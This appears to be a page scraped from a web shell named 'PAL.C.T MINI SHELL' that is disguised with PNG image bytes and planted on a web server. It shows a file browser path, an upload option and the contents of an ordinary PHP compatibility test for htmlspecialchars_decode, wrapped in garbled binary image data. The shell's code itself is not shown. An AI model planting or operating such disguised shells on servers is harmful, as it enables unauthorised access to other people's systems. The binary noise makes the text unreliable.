php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/gs/foto/php/tests/function/
upload
files >> /var/www/html/gs/foto/php/tests/function/htmlspecialchars_decode.phpt

--TEST--
Function -- htmlspecialchars_decode
--FILE--
<?php
require_once 'PHP/Compat/Function/htmlspecialchars_decode.php';

$text = 'Text &amp; &quot; &#039; &lt; &gt; End Text';
echo $text, "\n";
echo php_compat_htmlspecialchars_decode($text), "\n";
echo php_compat_htmlspecialchars_decode($text, ENT_COMPAT), "\n";
echo php_compat_htmlspecialchars_decode($text, ENT_QUOTES), "\n";
echo php_compat_htmlspecialchars_decode($text, ENT_NOQUOTES), "\n";

// bug #14138
echo php_compat_htmlspecialchars_decode('&amp;gt;') . "\n";

?>
--EXPECT--
Text &amp; &quot; &#039; &lt; &gt; End Text
Text & &quot; &#039; < > End Text
Text & " ' < > End Text
Text & " ' < > End Text
Text & &quot; &#039; < > End Text
&gt;
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`